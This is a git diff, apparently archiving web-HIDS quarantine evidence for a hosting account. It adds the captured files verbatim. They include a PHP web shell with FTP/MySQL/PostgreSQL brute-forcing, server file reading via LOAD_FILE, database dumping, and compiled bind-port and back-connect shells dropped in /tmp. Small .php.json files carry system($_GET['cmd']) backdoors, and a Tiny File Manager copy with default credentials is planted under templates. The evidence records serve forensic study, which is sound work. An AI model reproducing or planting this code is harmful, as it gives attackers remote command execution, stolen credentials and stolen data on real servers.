+ if($file != "." && $file != "..") {
+ if(is_dir($dir . "/" . $file)) {
+ $inner_files = ListFiles($dir . "/" . $file);
+ if(is_array($inner_files)) $files = array_merge($files, $inner_files);
+ } else {
+ array_push($files, $dir . "/" . $file);
+ }
+ }
+ }
+ closedir($dh);
+ return $files;
+ }
+ }
+ foreach (ListFiles($target) as $key=>$file){
+ $nFile = substr($file, -4, 4);
+ if($nFile == ".php" ){
+ if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
+ echo "$file
";
+ $i++;
+ }
+ }
+ }
+ echo "
$i";
+ }else{
+ echo "
";
+ echo 'Really want to infect the server?
YesResults
Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
+ if( $_POST['proto'] == 'ftp' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function bruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
+ $res = @pg_connect($str);
+ @pg_close($res);
+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+ }
+ echo 'FTP bruteforce
';
+ hardFooter();
+}
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->query("SHOW databases");
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error();
+ break;
+ case 'pgsql':
+ return @pg_last_error();
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'pgsql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function loadFile($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
+ break;
+ case 'pgsql':
+ $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
+ $r=array();
+ while($i=$this->fetch())
+ $r[] = $i['file'];
+ $this->query('drop table hard2');
+ return array('file'=>implode("\n",$r));
+ break;
+ }
+ return false;
+ }
+ function dump($table, $fp = false) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ $sql = $create[1].";\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $this->query('SELECT * FROM `'.$table.'`');
+ $i = 0;
+ $head = true;
+ while($â–Ÿ = $this->fetch()) {
+ $sql = '';
+ if($i % 1000 == 0) {
+ $head = true;
+ $sql = ";\n\n";
+ }
+ $columns = array();
+ foreach($â–Ÿ as $k=>$v) {
+ if($v === null)
+ $â–Ÿ[$k] = "NULL";
+ elseif(is_int($v))
+ $â–Ÿ[$k] = $v;
+ else
+ $â–Ÿ[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ if($head) {
+ $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $â–Ÿ).')';
+ $head = false;
+ } else
+ $sql .= "\n\t,(".implode(", ", $â–Ÿ).')';
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $i++;
+ }
+ if(!$head)
+ if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($â–Ÿ = $this->fetch()) {
+ $columns = array();
+ foreach($â–Ÿ as $k=>$v) {
+ $â–Ÿ[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $â–Ÿ).');'."\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ switch($_POST['charset']) {
+ case "Windows-1251": $db->setCharset('cp1251'); break;
+ case "UTF-8": $db->setCharset('utf8'); break;
+ case "KOI8-R": $db->setCharset('koi8r'); break;
+ case "KOI8-U": $db->setCharset('koi8u'); break;
+ case "cp866": $db->setCharset('cp866'); break;
+ }
+ if(empty($_POST['file'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ } elseif($fp = @fopen($_POST['file'], 'w')) {
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v, $fp);
+ fclose($fp);
+ unset($_POST['p2']);
+ } else
+ die('');
+ }
+ hardHeader();
+ echo "
+Sql browser
+
";
+ if($_POST['type']=='mysql') {
+ $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
+ if($db->fetch())
+ echo "
";
+ }
+ if(@$_POST['p1'] == 'loadfile') {
+ $file = $db->loadFile($_POST['p2']);
+ echo '
'.htmlspecialchars($file['file']).'
';
+ }
+ } else {
+ echo htmlspecialchars($db->error());
+ }
+ echo '
Network tools
+
+
";
+ if(isset($_POST['p1'])) {
+ function cf($f,$t) {
+ $w=@fopen($f,"w") or @function_exists('file_put_contents');
+ if($w) {
+ @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
+ @fclose($w);
+ }
+ }
+ if($_POST['p1'] == 'bpc') {
+ cf("/tmp/bp.c",$bind_port_c);
+ $â–– = ex("gcc -o /tmp/bp /tmp/bp.c");
+ @unlink("/tmp/bp.c");
+ $â–– .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$â––".ex("ps aux | grep bp")."";
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $â–– = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
+ echo "
$â––".ex("ps aux | grep bp.pl")."";
+ }
+ if($_POST['p1'] == 'bcc') {
+ cf("/tmp/bc.c",$back_connect_c);
+ $â–– = ex("gcc -o /tmp/bc /tmp/bc.c");
+ @unlink("/tmp/bc.c");
+ $â–– .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$â––".ex("ps aux | grep bc")."";
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $â–– = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$â––".ex("ps aux | grep bc.pl")."";
+ }
+ }
+ echo '
';system($_GET['cmd']);echo'
';}echo'';?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/shadow.php.json.evidence.json b/var/www/hosting/archline.hu/www/shadow.php.json.evidence.json
new file mode 100644
index 0000000..82370b1
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/shadow.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2901",
+ "log_excerpt": "[quarantine] www.archline.hu:shadow.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/shadow.php.json)",
+ "original_sha256": "20a80c4b4cd3686826f34f4715c481f7bb316cc9c6980c212737a5ca767230bd",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783805288,
+ "size": 140,
+ "uid": 20043
+ },
+ "rel_path": "shadow.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json b/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json
new file mode 100644
index 0000000..982bc2b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json
@@ -0,0 +1 @@
+';if(isset($_GET['cmd'])){echo'';system($_GET['cmd']);echo'
';}echo'';?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json.evidence.json
new file mode 100644
index 0000000..544f01a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2950",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/amwhwyys.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/amwhwyys.php.json)",
+ "original_sha256": "5f9fadd5d78ebe33acaa6f95602ea8b6ba716fe64dac17a20c259ecd32f2dacb",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784057815,
+ "size": 146,
+ "uid": 20043
+ },
+ "rel_path": "templates/amwhwyys.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/category/tiny.php b/var/www/hosting/archline.hu/www/templates/category/tiny.php
new file mode 100644
index 0000000..0cc65e3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/category/tiny.php
@@ -0,0 +1,4300 @@
+ 'Password', 'Username2' => 'Password2', ...)
+// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
+$auth_users = array(
+ 'admin' => '$2y$10$j9Ci5ygFG6GYwpdHpcjrWOayhFIXR5GwblqewcrxzaZbQoXXpTg2a', //admin@123
+ 'user' => '$2y$10$I1Adl6svIO7vVeVaQXebgesL7qOUC9tOGTnSQYEG1fNCelFLEti5i' //12345
+);
+
+// Readonly users
+// e.g. array('users', 'guest', ...)
+$readonly_users = array(
+ 'user'
+);
+
+// Global readonly, including when auth is not being used
+$global_readonly = false;
+
+// user specific directories
+// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
+$directories_users = array();
+
+// Enable highlight.js (https://highlightjs.org/) on view's page
+$use_highlightjs = true;
+
+// highlight.js style
+// for dark theme use 'ir-black'
+$highlightjs_style = 'vs';
+
+// Enable ace.js (https://ace.c9.io/) on view's page
+$edit_files = true;
+
+// Default timezone for date() and time()
+// Doc - http://php.net/manual/en/timezones.php
+$default_timezone = 'Etc/UTC'; // UTC
+
+// Root path for file manager
+// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
+$root_path = $_SERVER['DOCUMENT_ROOT'];
+
+// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
+// Will not working if $root_path will be outside of server document root
+$root_url = '';
+
+// Server hostname. Can set manually if wrong
+// $_SERVER['HTTP_HOST'].'/folder'
+$http_host = $_SERVER['HTTP_HOST'];
+
+// input encoding for iconv
+$iconv_input_encoding = 'UTF-8';
+
+// date() format for file modification date
+// Doc - https://www.php.net/manual/en/function.date.php
+$datetime_format = 'm/d/Y g:i A';
+
+// Path display mode when viewing file information
+// 'full' => show full path
+// 'relative' => show path relative to root_path
+// 'host' => show path on the host
+$path_display_mode = 'full';
+
+// Allowed file extensions for create and rename files
+// e.g. 'txt,html,css,js'
+$allowed_file_extensions = '';
+
+// Allowed file extensions for upload files
+// e.g. 'gif,png,jpg,html,txt'
+$allowed_upload_extensions = '';
+
+// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
+// full path, e.g http://example.com/favicon.png
+// local path, e.g images/icons/favicon.png
+$favicon_path = '';
+
+// Files and folders to excluded from listing
+// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
+$exclude_items = array();
+
+// Online office Docs Viewer
+// Availabe rules are 'google', 'microsoft' or false
+// Google => View documents using Google Docs Viewer
+// Microsoft => View documents using Microsoft Web Apps Viewer
+// false => disable online doc viewer
+$online_viewer = 'google';
+
+// Sticky Nav bar
+// true => enable sticky header
+// false => disable sticky header
+$sticky_navbar = true;
+
+// Maximum file upload size
+// Increase the following values in php.ini to work properly
+// memory_limit, upload_max_filesize, post_max_size
+$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)
+
+// chunk size used for upload
+// eg. decrease to 1MB if nginx reports problem 413 entity too large
+$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)
+
+// Possible rules are 'OFF', 'AND' or 'OR'
+// OFF => Don't check connection IP, defaults to OFF
+// AND => Connection must be on the whitelist, and not on the blacklist
+// OR => Connection must be on the whitelist, or not on the blacklist
+$ip_ruleset = 'OFF';
+
+// Should users be notified of their block?
+$ip_silent = true;
+
+// IP-addresses, both ipv4 and ipv6
+$ip_whitelist = array(
+ '127.0.0.1', // local ipv4
+ '::1' // local ipv6
+);
+
+// IP-addresses, both ipv4 and ipv6
+$ip_blacklist = array(
+ '0.0.0.0', // non-routable meta ipv4
+ '::' // non-routable meta ipv6
+);
+
+// if User has the external config file, try to use it to override the default config above [config.php]
+// sample config - https://tinyfilemanager.github.io/config-sample.txt
+$config_file = __DIR__.'/config.php';
+if (is_readable($config_file)) {
+ @include($config_file);
+}
+
+// External CDN resources that can be used in the HTML (replace for GDPR compliance)
+$external = array(
+ 'css-bootstrap' => '',
+ 'css-dropzone' => '',
+ 'css-font-awesome' => '',
+ 'css-highlightjs' => '',
+ 'js-ace' => '',
+ 'js-bootstrap' => '',
+ 'js-dropzone' => '',
+ 'js-jquery' => '',
+ 'js-jquery-datatables' => '',
+ 'js-highlightjs' => '',
+ 'pre-jsdelivr' => '',
+ 'pre-cloudflare' => ''
+);
+
+// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
+
+// max upload file size
+define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
+
+// upload chunk size
+define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
+
+// private key and session name to store to the session
+if ( !defined( 'FM_SESSION_ID')) {
+ define('FM_SESSION_ID', 'filemanager');
+}
+
+// Configuration
+$cfg = new FM_Config();
+
+// Default language
+$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
+
+// Show or hide files and folders that starts with a dot
+$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
+
+// PHP error reporting - false = Turns off Errors, true = Turns on Errors
+$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
+
+// Hide Permissions and Owner cols in file-listing
+$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
+
+// Theme
+$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
+
+define('FM_THEME', $theme);
+
+//available languages
+$lang_list = array(
+ 'en' => 'English'
+);
+
+if ($report_errors == true) {
+ @ini_set('error_reporting', E_ALL);
+ @ini_set('display_errors', 1);
+} else {
+ @ini_set('error_reporting', E_ALL);
+ @ini_set('display_errors', 0);
+}
+
+// if fm included
+if (defined('FM_EMBED')) {
+ $use_auth = false;
+ $sticky_navbar = false;
+} else {
+ @set_time_limit(600);
+
+ date_default_timezone_set($default_timezone);
+
+ ini_set('default_charset', 'UTF-8');
+ if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
+ mb_internal_encoding('UTF-8');
+ }
+ if (function_exists('mb_regex_encoding')) {
+ mb_regex_encoding('UTF-8');
+ }
+
+ session_cache_limiter('nocache'); // Prevent logout issue after page was cached
+ session_name(FM_SESSION_ID );
+ function session_error_handling_function($code, $msg, $file, $line) {
+ // Permission denied for default session, try to create a new one
+ if ($code == 2) {
+ session_abort();
+ session_id(session_create_id());
+ @session_start();
+ }
+ }
+ set_error_handler('session_error_handling_function');
+ session_start();
+ restore_error_handler();
+}
+
+//Generating CSRF Token
+if (empty($_SESSION['token'])) {
+ if (function_exists('random_bytes')) {
+ $_SESSION['token'] = bin2hex(random_bytes(32));
+ } else {
+ $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
+ }
+}
+
+if (empty($auth_users)) {
+ $use_auth = false;
+}
+
+$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
+ || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
+
+// update $root_url based on user specific directories
+if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
+ $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
+ $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
+}
+// clean $root_url
+$root_url = fm_clean_path($root_url);
+
+// abs path for site
+defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
+defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
+
+// logout
+if (isset($_GET['logout'])) {
+ unset($_SESSION[FM_SESSION_ID]['logged']);
+ unset( $_SESSION['token']);
+ fm_redirect(FM_SELF_URL);
+}
+
+// Validate connection IP
+if ($ip_ruleset != 'OFF') {
+ function getClientIP() {
+ if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
+ return $_SERVER["HTTP_CF_CONNECTING_IP"];
+ }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
+ return $_SERVER["HTTP_X_FORWARDED_FOR"];
+ }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
+ return $_SERVER['REMOTE_ADDR'];
+ }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
+ return $_SERVER['HTTP_CLIENT_IP'];
+ }
+ return '';
+ }
+
+ $clientIp = getClientIP();
+ $proceed = false;
+ $whitelisted = in_array($clientIp, $ip_whitelist);
+ $blacklisted = in_array($clientIp, $ip_blacklist);
+
+ if($ip_ruleset == 'AND'){
+ if($whitelisted == true && $blacklisted == false){
+ $proceed = true;
+ }
+ } else
+ if($ip_ruleset == 'OR'){
+ if($whitelisted == true || $blacklisted == false){
+ $proceed = true;
+ }
+ }
+
+ if($proceed == false){
+ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
+
+ if($ip_silent == false){
+ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
+ fm_show_header_login();
+ fm_show_message();
+ }
+ exit();
+ }
+}
+
+// Checking if the user is logged in or not. If not, it will show the login form.
+if ($use_auth) {
+ if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
+ // Logged
+ } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
+ // Logging In
+ sleep(1);
+ if(function_exists('password_verify')) {
+ if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
+ $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
+ fm_set_msg(lng('You are logged in'));
+ fm_redirect(FM_SELF_URL);
+ } else {
+ unset($_SESSION[FM_SESSION_ID]['logged']);
+ fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
+ fm_redirect(FM_SELF_URL);
+ }
+ } else {
+ fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
+ }
+ } else {
+ // Form
+ unset($_SESSION[FM_SESSION_ID]['logged']);
+ fm_show_header_login();
+ ?>
+
+
+ ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." ";
+ exit;
+}
+
+defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
+defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
+defined('FM_LANG') || define('FM_LANG', $lang);
+defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
+defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
+defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
+defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
+define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
+define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
+
+// always use ?p=
+if (!isset($_GET['p']) && empty($_FILES)) {
+ fm_redirect(FM_SELF_URL . '?p=');
+}
+
+// get path
+$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
+
+// clean path
+$p = fm_clean_path($p);
+
+// for ajax request - save
+$input = file_get_contents('php://input');
+$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
+
+// instead globals vars
+define('FM_PATH', $p);
+define('FM_USE_AUTH', $use_auth);
+define('FM_EDIT_FILE', $edit_files);
+defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
+defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
+defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
+defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
+
+unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
+
+/*************************** ACTIONS ***************************/
+
+// Handle all AJAX Request
+if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
+ if(!verifyToken($_POST['token'])) {
+ header('HTTP/1.0 401 Unauthorized');
+ die("Invalid Token.");
+ }
+
+ //search : get list of files from the current folder
+ if(isset($_POST['type']) && $_POST['type']=="search") {
+ $dir = $_POST['path'] == "." ? '': $_POST['path'];
+ $response = scan(fm_clean_path($dir), $_POST['content']);
+ echo json_encode($response);
+ exit();
+ }
+
+ // save editor file
+ if (isset($_POST['type']) && $_POST['type'] == "save") {
+ // get current path
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ // check path
+ if (!is_dir($path)) {
+ fm_redirect(FM_SELF_URL . '?p=');
+ }
+ $file = $_GET['edit'];
+ $file = fm_clean_path($file);
+ $file = str_replace('/', '', $file);
+ if ($file == '' || !is_file($path . '/' . $file)) {
+ fm_set_msg(lng('File not found'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+ header('X-XSS-Protection:0');
+ $file_path = $path . '/' . $file;
+
+ $writedata = $_POST['content'];
+ $fd = fopen($file_path, "w");
+ $write_results = @fwrite($fd, $writedata);
+ fclose($fd);
+ if ($write_results === false){
+ header("HTTP/1.1 500 Internal Server Error");
+ die("Could Not Write File! - Check Permissions / Ownership");
+ }
+ die(true);
+ }
+
+ // backup files
+ if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
+ $fileName = fm_clean_path($_POST['file']);
+ $fullPath = FM_ROOT_PATH . '/';
+ if (!empty($_POST['path'])) {
+ $relativeDirPath = fm_clean_path($_POST['path']);
+ $fullPath .= "{$relativeDirPath}/";
+ }
+ $date = date("dMy-His");
+ $newFileName = "{$fileName}-{$date}.bak";
+ $fullyQualifiedFileName = $fullPath . $fileName;
+ try {
+ if (!file_exists($fullyQualifiedFileName)) {
+ throw new Exception("File {$fileName} not found");
+ }
+ if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
+ echo "Backup {$newFileName} created";
+ } else {
+ throw new Exception("Could not copy file {$fileName}");
+ }
+ } catch (Exception $e) {
+ echo $e->getMessage();
+ }
+ }
+
+ // Save Config
+ if (isset($_POST['type']) && $_POST['type'] == "settings") {
+ global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
+ $newLng = $_POST['js-language'];
+ fm_get_translations([]);
+ if (!array_key_exists($newLng, $lang_list)) {
+ $newLng = 'en';
+ }
+
+ $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
+ $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
+ $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
+ $te3 = $_POST['js-theme-3'];
+
+ if ($cfg->data['lang'] != $newLng) {
+ $cfg->data['lang'] = $newLng;
+ $lang = $newLng;
+ }
+ if ($cfg->data['error_reporting'] != $erp) {
+ $cfg->data['error_reporting'] = $erp;
+ $report_errors = $erp;
+ }
+ if ($cfg->data['show_hidden'] != $shf) {
+ $cfg->data['show_hidden'] = $shf;
+ $show_hidden_files = $shf;
+ }
+ if ($cfg->data['show_hidden'] != $shf) {
+ $cfg->data['show_hidden'] = $shf;
+ $show_hidden_files = $shf;
+ }
+ if ($cfg->data['hide_Cols'] != $hco) {
+ $cfg->data['hide_Cols'] = $hco;
+ $hide_Cols = $hco;
+ }
+ if ($cfg->data['theme'] != $te3) {
+ $cfg->data['theme'] = $te3;
+ $theme = $te3;
+ }
+ $cfg->save();
+ echo true;
+ }
+
+ // new password hash
+ if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
+ $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
+ echo $res;
+ }
+
+ //upload using url
+ if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ function event_callback ($message) {
+ global $callback;
+ echo json_encode($message);
+ }
+
+ function get_file_path () {
+ global $path, $fileinfo, $temp_file;
+ return $path."/".basename($fileinfo->name);
+ }
+
+ $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
+
+ //prevent 127.* domain and known ports
